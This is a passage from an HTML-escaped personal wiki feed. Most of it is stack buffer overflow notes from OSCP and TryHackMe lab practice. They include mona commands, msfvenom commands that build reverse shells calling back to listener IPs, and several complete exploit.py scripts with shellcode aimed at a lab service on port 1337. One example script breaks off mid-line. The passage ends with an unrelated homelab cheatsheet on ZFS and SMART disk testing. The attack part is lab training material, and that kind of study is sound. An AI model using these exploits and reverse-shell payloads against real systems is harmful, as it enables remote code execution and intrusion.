* First badchar in the list should be \x00 since this was removed from the file. * Make note of any other badchars. * Generate a new bytearray in mona, specifying these new badchars along with \x00. &amp;lt;code&amp;gt;!mona bytearray -b &amp;quot;\x00&amp;quot;&amp;lt;/code&amp;gt;* Update the payload variable in exploit.py script and remove the new badchars as well. * Restart oscp.exe in Immunity and run modified exploit.py. * Repeat the badchar comparison until the results status returns &amp;quot;Unmodified&amp;quot;. This indicates that no more badchars exist.&lt;br /&gt;
&lt;br /&gt;
=== 5 - Finding a Jump Point ===&lt;br /&gt;
&lt;br /&gt;
* oscp.exe either in running state or crashed state. * Run this mona command. Make sure to update the -cpd option with all the badchars you identified (including \x00).* &amp;lt;code&amp;gt;!mona jmp -r esp -cpd &amp;quot;\x00&amp;quot;&amp;lt;/code&amp;gt;* The above command find all &amp;quot;jmp esp&amp;quot; (or equivalent) instructions with addresses that dont contain any of the badchars specified. * Result is displayed in &amp;quot;Log data&amp;quot; window. * Choose an address and update exploit.py script:Set the &amp;quot;retn&amp;quot; variable to the address, written backwards (since the system is little endian). * Example: If address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01 in exploit.py.&lt;br /&gt;
&lt;br /&gt;
=== 6 - Generate payload ===&lt;br /&gt;
&lt;br /&gt;
* Run the following msfvenom command. Update -b (badchars) option with the badchars you identified (including \x00):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Windows&lt;br /&gt;
# Use -f py to paste directly into python script otherwise use b&amp;quot;&amp;quot;&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=Local_IP LPORT=Listening_port EXITFUN=thread -b &amp;quot;\x00&amp;quot; -f c&lt;br /&gt;
msfvenom -p windows/exec CMD=cmd.exe EXITFUN=thread -b &amp;quot;\x00&amp;quot; -f&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=443 -f c –e x86/shikata_ga_nai -b &amp;quot;\x00&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Linux&lt;br /&gt;
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.153 LPORT=2121 -f c -b &amp;quot;\x00&amp;quot; EXITFUNC=thread&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Copy generated C code strings and add them to exploit.py using this notation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
payload = (&amp;quot;\xfc\xbb\xa1\x8a\xa2\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3&amp;quot;&lt;br /&gt;
&amp;quot;\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x5d\x62\x14\xa2\x9d&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&amp;quot;\xf7\x04\x44\x8d\x88\xf2\x54\xe3\x8d\xbf\xd2\x15\xfc\xd9\xb6&amp;quot;&lt;br /&gt;
&amp;quot;\x19\x53\xd0\x92\x19\x54\x2e\x1d&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== 7 - Prepend NOPs ===&lt;br /&gt;
&lt;br /&gt;
* Since an encoder was likely used to generate payload, you will need some space in memory for the payload to unpack itself.* Do this by setting the padding variable to a string of 16 or more &amp;quot;No Operation&amp;quot; (\x90) bytes:* &amp;lt;code&amp;gt;padding = &amp;quot;\x90&amp;quot; * 16 &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== 8 - Exploit ===&lt;br /&gt;
&lt;br /&gt;
* Start a netcat listener with the LPORT from msfvenom command. * Restart oscp.exe in Immunity and run the modified exploit.py script. * Listener will have a connection.&lt;br /&gt;
&lt;br /&gt;
==== Payload.py end script ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/THM/bof_prep]&lt;br /&gt;
└─# cat exploit.py&lt;br /&gt;
import socket&lt;br /&gt;
ip = &amp;quot;10.10.177.32&amp;quot;&lt;br /&gt;
port = 1337&lt;br /&gt;
prefix = &amp;quot;OVERFLOW1 &amp;quot;&lt;br /&gt;
offset = 1978&lt;br /&gt;
overflow = &amp;quot;A&amp;quot; * offset&lt;br /&gt;
retn = &amp;quot;\xd3\x11\x50\x62&amp;quot;&lt;br /&gt;
padding = &amp;quot;\x90&amp;quot; * 16&lt;br /&gt;
payload = (&amp;quot;\xbe\x0d\xbe\xcf\xfa\xda\xc0\xd9\x74\x24\xf4\x5a\x29\xc9\xb1&amp;quot;&lt;br /&gt;
&amp;quot;\x52\x31\x72\x12\x83\xc2\x04\x03\x7f\xb0\x2d\x0f\x83\x24\x33&amp;quot;&lt;br /&gt;
&amp;quot;\xf0\x7b\xb5\x54\x78\x9e\x84\x54\x1e\xeb\xb7\x64\x54\xb9\x3b&amp;quot;&lt;br /&gt;
&amp;quot;\x0e\x38\x29\xcf\x62\x95\x5e\x78\xc8\xc3\x51\x79\x61\x37\xf0&amp;quot;&lt;br /&gt;
&amp;quot;\xf9\x78\x64\xd2\xc0\xb2\x79\x13\x04\xae\x70\x41\xdd\xa4\x27&amp;quot;&lt;br /&gt;
&amp;quot;\x75\x6a\xf0\xfb\xfe\x20\x14\x7c\xe3\xf1\x17\xad\xb2\x8a\x41&amp;quot;&lt;br /&gt;
&amp;quot;\x6d\x35\x5e\xfa\x24\x2d\x83\xc7\xff\xc6\x77\xb3\x01\x0e\x46&amp;quot;&lt;br /&gt;
&amp;quot;\x3c\xad\x6f\x66\xcf\xaf\xa8\x41\x30\xda\xc0\xb1\xcd\xdd\x17&amp;quot;&lt;br /&gt;
&amp;quot;\xcb\x09\x6b\x83\x6b\xd9\xcb\x6f\x8d\x0e\x8d\xe4\x81\xfb\xd9&amp;quot;&lt;br /&gt;
&amp;quot;\xa2\x85\xfa\x0e\xd9\xb2\x77\xb1\x0d\x33\xc3\x96\x89\x1f\x97&amp;quot;&lt;br /&gt;
&amp;quot;\xb7\x88\xc5\x76\xc7\xca\xa5\x27\x6d\x81\x48\x33\x1c\xc8\x04&amp;quot;&lt;br /&gt;
&amp;quot;\xf0\x2d\xf2\xd4\x9e\x26\x81\xe6\x01\x9d\x0d\x4b\xc9\x3b\xca&amp;quot;&lt;br /&gt;
&amp;quot;\xac\xe0\xfc\x44\x53\x0b\xfd\x4d\x90\x5f\xad\xe5\x31\xe0\x26&amp;quot;&lt;br /&gt;
&amp;quot;\xf5\xbe\x35\xe8\xa5\x10\xe6\x49\x15\xd1\x56\x22\x7f\xde\x89&amp;quot;&lt;br /&gt;
&amp;quot;\x52\x80\x34\xa2\xf9\x7b\xdf\xc7\xf4\x80\x13\xb0\x04\x86\x3a&amp;quot;&lt;br /&gt;
&amp;quot;\x1c\x80\x60\x56\x8c\xc4\x3b\xcf\x35\x4d\xb7\x6e\xb9\x5b\xb2&amp;quot;&lt;br /&gt;
&amp;quot;\xb1\x31\x68\x43\x7f\xb2\x05\x57\xe8\x32\x50\x05\xbf\x4d\x4e&amp;quot;&lt;br /&gt;
&amp;quot;\x21\x23\xdf\x15\xb1\x2a\xfc\x81\xe6\x7b\x32\xd8\x62\x96\x6d&amp;quot;&lt;br /&gt;
&amp;quot;\x72\x90\x6b\xeb\xbd\x10\xb0\xc8\x40\x99\x35\x74\x67\x89\x83&amp;quot;&lt;br /&gt;
&amp;quot;\x75\x23\xfd\x5b\x20\xfd\xab\x1d\x9a\x4f\x05\xf4\x71\x06\xc1&amp;quot;&lt;br /&gt;
&amp;quot;\x81\xb9\x99\x97\x8d\x97\x6f\x77\x3f\x4e\x36\x88\xf0\x06\xbe&amp;quot;&lt;br /&gt;
&amp;quot;\xf1\xec\xb6\x41\x28\xb5\xd7\xa3\xf8\xc0\x7f\x7a\x69\x69\xe2&amp;quot;&lt;br /&gt;
&amp;quot;\x7d\x44\xae\x1b\xfe\x6c\x4f\xd8\x1e\x05\x4a\xa4\x98\xf6\x26&amp;quot;&lt;br /&gt;
&amp;quot;\xb5\x4c\xf8\x95\xb6\x44&amp;quot;)&lt;br /&gt;
postfix = &amp;quot;&amp;quot;&lt;br /&gt;
buffer = prefix + overflow + retn + padding + payload + postfix&lt;br /&gt;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
try:&lt;br /&gt;
  s.connect((ip, port))&lt;br /&gt;
  print(&amp;quot;Sending evil buffer...&amp;quot;)&lt;br /&gt;
  s.send(bytes(buffer + &amp;quot;\r\n&amp;quot;, &amp;quot;latin-1&amp;quot;))&lt;br /&gt;
  print(&amp;quot;Done!&amp;quot;)&lt;br /&gt;
except:&lt;br /&gt;
  print(&amp;quot;Could not connect.&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Payload.py exploit.txt script ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
offset = 1234&lt;br /&gt;
overflow = &amp;quot;\x41&amp;quot; * offset&lt;br /&gt;
retn = &amp;quot;&amp;quot;&lt;br /&gt;
padding = &amp;quot;\x90&amp;quot; * 200&lt;br /&gt;
payload = (&amp;quot;\xda\xce\xd9\x74\x24\xf4\x5d\x31\xc9\xb1\x31\xba\x6e\x75\xd7\xe9\x83\xed\xfc\x31\x55\x14\x03\x55\x7a\x97\x22\x15\x6a\xd5\xcd\xe6\x6a\xba\x44\x03\x5b\xfa\x33\x47\xcb\xca\x30\x05\xe7\xa1\x15\xbe\x7c\xc7\xb1\xb1\x35\x62\xe4\xfc\xc6\xdf\xd4\x9f\x44\x22\x09\x40\x75\xed\x5c\x81\xb2\x10\xac\xd3\x6b\x5e\x03\xc4\x18\x2a\x98\x6f\x52\xba\x98\x8c\x22\xbd\x89\x02\x39\xe4\x09\xa4\xee\x9c\x03\xbe\xf3\x99\xda\x35\xc7\x56\xdd\x9f\x16\x96\x72\xde\x97\x65\x8a\x26\x1f\x96\xf9\x5e\x5c\x2b\xfa\xa4\x1f\xf7\x8f\x3e\x87\x7c\x37\x9b\x36\x50\xae\x68\x34\x1d\xa4\x37\x58\xa0\x69\x4c\x64\x29\x8c\x83\xed\x69\xab\x07\xb6\x2a\xd2\x1e\x12\x9c\xeb\x41\xfd\x41\x4e\x09\x13\x95\xe3\x50\x79\x68\x71\xef\xcf\x6a\x89\xf0\x7f\x03\xb8\x7b\x10\x54\x45\xae\x55\xaa\x0f\xf3\xff\x23\xd6\x61\x42\x2e\xe9\x5f\x80\x57\x6a\x6a\x78\xac\x72\x1f\x7d\xe8\x34\xf3\x0f\x61\xd1\xf3\xbc\x82\xf0\x97\x23\x11\x98\x79\xc6\x91\x3b\x86&amp;quot;)&lt;br /&gt;
postfix = &amp;quot;&amp;quot;&lt;br /&gt;
buffer = overflow + retn + padding + payload + postfix&lt;br /&gt;
f = open(&amp;quot;exploit.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
f.write(buffer+&#039;\n&#039;)&lt;br /&gt;
f.close()&lt;br /&gt;
#with open(&amp;quot;exploit.txt&amp;quot;, &amp;quot;wb&amp;quot;) as binary_file:&lt;br /&gt;
    # Write bytes to file&lt;br /&gt;
 #   binary_file.write(buffer)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Bufferoverflow notes pwk =&lt;br /&gt;
&lt;br /&gt;
== Checklist ==&lt;br /&gt;
&lt;br /&gt;
Look at the OSCP PDF for more thorough explanation.&lt;br /&gt;
&lt;br /&gt;
* Control EIP. Find offset either by using mona! or doing it manully by sending &amp;quot;AAAA&amp;quot; and &amp;quot;BBBB&amp;quot; until you overwrite EIP. See 11.2.3 in PDF. * Find bad characters. In the payload.py script you should have &#039;Offset&#039; value, overflow, retn (BBBB) and payload. In the payload type all HEX characters.* When generating a exploit.txt with hex character, &#039;&#039;&#039;be mindfull of using python2, python2.7 or python3&#039;&#039;&#039;. All will produce different output. &amp;lt;code&amp;gt;python2 pyload.py&amp;lt;/code&amp;gt; will produce another value than &amp;lt;code&amp;gt;python3 pyload.py&amp;lt;/code&amp;gt;. Use md5sum to check. * Either ESP or EBX, right click and &amp;quot;Follow in Dump&amp;quot; in Immunity Debugger. Look for where null byte terminate the string. In the pic below the bad character is 0x1a. Remove it from payload and send again until you hit 0xff. You want to send overflow + retn + payload where retn overwrite EIP.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* Find the return addres (JMP). &amp;lt;code&amp;gt;msf-nasm_shell&amp;lt;/code&amp;gt;. Then&amp;lt;code&amp;gt; nasm &amp;gt; jmp esp&amp;lt;/code&amp;gt;* !mona modules. Look for 4/5 false flags (rebase, safeSEH, ASLR, NXCompat, OS DLL)*  &amp;lt;code&amp;gt;!mona find -s &amp;quot;\xff\xe4&amp;quot; -m &amp;quot;libspp.dll&amp;quot;&amp;lt;/code&amp;gt;* OR &amp;lt;code&amp;gt;!mona jmp -r esp -cpd &amp;quot;\x00&amp;quot;&amp;lt;/code&amp;gt;. Type in all the bad characters you found* Generate a payload. Remember to check if you have enough space in buffer. See 11.2.5 Locating Space for Our Shellcode in PDF. * &amp;lt;code&amp;gt;msfvenom -p windows/exec CMD=cmd.exe EXITFUN=thread -b &amp;quot;\x00&amp;quot; -f c&amp;lt;/code&amp;gt; * &amp;lt;code&amp;gt;msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=443 -f c –e x86/shikata_ga_nai -b &amp;quot;\x00&amp;quot;&amp;lt;/code&amp;gt;* Use &#039;&#039;&#039;-f py&#039;&#039;&#039; to paste directly into a python script. Otherwise use &amp;lt;code&amp;gt;&#039;&#039;&#039;b&amp;quot;&amp;quot;&#039;&#039;&#039;&amp;lt;/code&amp;gt;. Look at the example payload below. (&#039;&#039;&#039;The b&amp;quot; notation is used to specify a bytes string in Python&#039;&#039;&#039;). * If sending over network against port the above might not apply.* Send to target &amp;lt;code&amp;gt;cat exploit.txt - | nc TARGET_IP TARGET_PORT&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example 1 -  payload with -f c ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/python2.7&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
offset = 2000&lt;br /&gt;
overflow = b&amp;quot;A&amp;quot; * offset&lt;br /&gt;
retn = b&amp;quot;\x10\x11\x13\x14&amp;quot;&lt;br /&gt;
padding = b&amp;quot;C&amp;quot; * 4&lt;br /&gt;
nops = b&amp;quot;&amp;quot;&lt;br /&gt;
payload = b&amp;quot;\x31\xc9\x83\xe9\xd0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xbd\x37\x47\x9a\x83\xee\xfc\xe2\xf4\x41\xdf\xc5\x9a\xbd\x37\x27\x13\x58\x06\x87\xfe\x36\x67\x77\x11\xef\x3b\xcc\xc8\xa9\xbc\x35\xb2\xb2\x80\x0d\xbc\x8c\xc8\xeb\xa6\xdc\x4b\x45\xb6\x9d\xf6\x88\x97\xbc\xf0\xa5\x68\xef\x60\xcc\xc8\xad\xbc\x0d\xa6\x36\x7b\x56\xe2\x5e\x7f\x46\x4b\xec\xbc\x1e\xba\xbc\xe4\xcc\xd3\xa5\xd4\x7d\xd3\x36\x03\xcc\x9b\x6b\x06\xb8\x36\x7c\xf8\x4a\x9b\x7a\x0f\xa7\xef\x4b\x34\x3a\x62\x86\x4a\x63\xef\x59\x6f\xcc\xc2\x99\x36\x94\xfc\x36\x3b\x0c\x11\xe5\x2b\x46\x49\x36\x33\xcc\x9b\x6d\xbe\x03\xbe\x99\x6c\x1c\xfb\xe4\x6d\x16\x65\x5d\x68\x18\xc0\x36\x25\xac\x17\xe0\x5d\x46\x17\x38\x85\x47\x9a\xbd\x67\x2f\xab\x36\x58\xc0\x65\x68\x8c\xb7\x2f\x1f\x61\x2f\x3c\x28\x8a\xda\x65\x68\x0b\x41\xe6\xb7\xb7\xbc\x7a\xc8\x32\xfc\xdd\xae\x45\x28\xf0\xbd\x64\xb8\x4f\xde\x5a\x23\xb4\xd8\x4f\x22\x9a&amp;quot;&lt;br /&gt;
buffer = overflow + retn + padding + nops + payload&lt;br /&gt;
f = open(&amp;quot;exploit.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
f.write(buffer+&#039;\n&#039;)&lt;br /&gt;
f.close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example 2 - Payload with -f py ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/python2.7&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
offset = 2000&lt;br /&gt;
overflow = b&amp;quot;A&amp;quot; * offset&lt;br /&gt;
retn = b&amp;quot;\xae\x12\x13\x14&amp;quot;&lt;br /&gt;
padding = b&amp;quot;C&amp;quot; * 4&lt;br /&gt;
nops = b&amp;quot;&amp;quot;&lt;br /&gt;
# payload = &amp;quot;&amp;quot;&lt;br /&gt;
buf =  b&amp;quot;&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\x29\xc9\x83\xe9\xd0\xe8\xff\xff\xff\xff\xc0\x5e&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\x81\x76\x0e\xbc\xa4\xfc\x98\x83\xee\xfc\xe2\xf4&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\x40\x4c\x7e\x98\xbc\xa4\x9c\x11\x59\x95\x3c\xfc&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\x37\xf4\xcc\x13\xee\xa8\x77\xca\xa8\x2f\x8e\xb0&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\xb3\x13\xb6\xbe\x8d\x5b\x50\xa4\xdd\xd8\xfe\xb4&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\x9c\x65\x33\x95\xbd\x63\x1e\x6a\xee\xf3\x77\xca&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\xac\x2f\xb6\xa4\x37\xe8\xed\xe0\x5f\xec\xfd\x49&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\xed\x2f\xa5\xb8\xbd\x77\x77\xd1\xa4\x47\xc6\xd1&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\x37\x90\x77\x99\x6a\x95\x03\x34\x7d\x6b\xf1\x99&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\x7b\x9c\x1c\xed\x4a\xa7\x81\x60\x87\xd9\xd8\xed&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\x58\xfc\x77\xc0\x98\xa5\x2f\xfe\x37\xa8\xb7\x13&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\xe4\xb8\xfd\x4b\x37\xa0\x77\x99\x6c\x2d\xb8\xbc&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\x98\xff\xa7\xf9\xe5\xfe\xad\x67\x5c\xfb\xa3\xc2&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\x37\xb6\x17\x15\xe1\xce\xfd\x15\x39\x16\xfc\x98&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\xbc\xf4\x94\xa9\x37\xcb\x7b\x67\x69\x1f\x0c\x2d&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\x1e\xf2\x94\x3e\x29\x19\x61\x67\x69\x98\xfa\xe4&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\xb6\x24\x07\x78\xc9\xa1\x47\xdf\xaf\xd6\x93\xf2&amp;quot;&lt;br /&gt;
buf += b&amp;quot;\xbc\xf7\x03\x4d\xdf\xc9\x98\xb6\xd9\xdc\x99\x98&amp;quot;&lt;br /&gt;
buffer = overflow + retn + padding + nops + buf&lt;br /&gt;
f = open(&amp;quot;exploit.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
f.write(buffer+&#039;\n&#039;)&lt;br /&gt;
f.close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example 3 - Over network ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
!/usr/bin/python&lt;br /&gt;
import socket&lt;br /&gt;
import struct&lt;br /&gt;
try:&lt;br /&gt;
  print &amp;quot;\nSending evil buffer...&amp;quot;&lt;br /&gt;
  #offset = 2288&lt;br /&gt;
  overflow = &amp;quot;A&amp;quot; * 2288&lt;br /&gt;
  retn = struct.pack(&#039;&lt;br /&gt;
&lt;br /&gt;
== Generate raw hex ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
some_bytes = b&#039;\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&#039;&lt;br /&gt;
# Open in &amp;quot;wb&amp;quot; mode to&lt;br /&gt;
# write a new file, or&lt;br /&gt;
# &amp;quot;ab&amp;quot; mode to append&lt;br /&gt;
with open(&amp;quot;exploit.txt&amp;quot;, &amp;quot;wb&amp;quot;) as binary_file:&lt;br /&gt;
    # Write bytes to file&lt;br /&gt;
    binary_file.write(some_bytes)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Offensive Security]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Homelab_Cheatsheet&amp;diff=2313</id>
		<title>Homelab Cheatsheet</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Homelab_Cheatsheet&amp;diff=2313"/>
		<updated>2026-02-18T10:33:49Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== ZFS ==&lt;br /&gt;
&lt;br /&gt;
Running a S.M.A.R.T test&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Running a long test&lt;br /&gt;
smartctl -t long /dev/disk_name&lt;br /&gt;
# Running a short test&lt;br /&gt;
smartctl -t short /dev/disk_name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking progress of S.M.A.R.T test&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smartctl -a /dev/disk_name | grep &amp;quot;progress&amp;quot; -i -A 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test procedure - How long is a test going to take&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smartctl -c /dev/disk_name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
List S.M.A.R.T result&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smartctl -a /dev/disk_name&lt;br /&gt;
# Only list SMART attributes&lt;br /&gt;
smartctl -A /dev/disk_name&lt;br /&gt;
# For only viewing test result&lt;br /&gt;
smartctl -l selftest /dev/disk_name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
List all pools&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Display all information for all pools&lt;br /&gt;
zpool list&lt;br /&gt;
# Display statistics for a specifik pool&lt;br /&gt;
zpool list pool_name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Check pool status&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Check status on all pools&lt;br /&gt;
zpool status [pool_name] [-v] [-x]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Clear device error&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zpool clear pool_name device_id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Script to find GPTID of disk in FreeNas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
echo&lt;br /&gt;
echo $(basename $0) - Mounted Drives on $(hostname)&lt;br /&gt;
cat /etc/version&lt;br /&gt;
date&lt;br /&gt;
echo&lt;br /&gt;
diskinfo=&amp;quot;$(glabel status | tail -n +2 | awk &#039;{split($3,a,&amp;quot;p&amp;quot;); print a[1],$1}&#039;)&amp;quot;&lt;br /&gt;
echo    &amp;quot;+========+==========================+==================+============================================+&amp;quot;&lt;br /&gt;
echo &amp;quot;| Device |     DISK DESCRIPTION     |  SERIAL  NUMBER  |                   GPTID                    |&amp;quot;&lt;br /&gt;
echo &amp;quot;+========+==========================+==================+============================================+&amp;quot;&lt;br /&gt;
for d in $(echo &amp;quot;$diskinfo&amp;quot; | cut -d&amp;quot; &amp;quot; -f 1)&lt;br /&gt;
do&lt;br /&gt;
   diskinf=$(diskinfo -v $d | grep &#039;# Disk &#039;)&lt;br /&gt;
   diskdescription=$(echo &amp;quot;$diskinf&amp;quot; | grep &#039;# Disk desc&#039; | cut -d# -f 1 | xargs)&lt;br /&gt;
   diskserialno=$(echo &amp;quot;$diskinf&amp;quot; | grep &#039;# Disk ident&#039; | cut -d# -f 1 | xargs)&lt;br /&gt;
   diskgptid=$(echo &amp;quot;$diskinfo&amp;quot; | grep &amp;quot;^$d&amp;quot; | cut -d&amp;quot; &amp;quot; -f 2)&lt;br /&gt;
   printf &amp;quot;| %-6s | %-24s | %-16s | %-42s |\n&amp;quot; &amp;quot;$d&amp;quot; &amp;quot;$diskdescription&amp;quot;     &amp;quot;$diskserialno&amp;quot; &amp;quot;$diskgptid&amp;quot;&lt;br /&gt;
   echo &amp;quot;+--------+--------------------------+------------------+--------------------------------------------+&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
How to test hdd before using them in prod. The &#039;standard&#039; test routine is SMART tests, badblocks, then another SMART. Let each one finish before starting the next.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Time to finish 2-3 minutes on a 10TB disk&lt;br /&gt;
smartctl -t short /dev/adaX&lt;br /&gt;
# 16-17 hours on a 10TB disk&lt;br /&gt;
smartctl -t long /dev/adaX&lt;br /&gt;
# 5 days on a 10TB disk&lt;br /&gt;
badblocks -ws -b 4096 /dev/adaX&lt;br /&gt;
smartctl -t long /dev/adaX&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Rclone ==&lt;br /&gt;
&lt;br /&gt;
Copy file from source to dest&lt;br /&gt;
&lt;br /&gt;
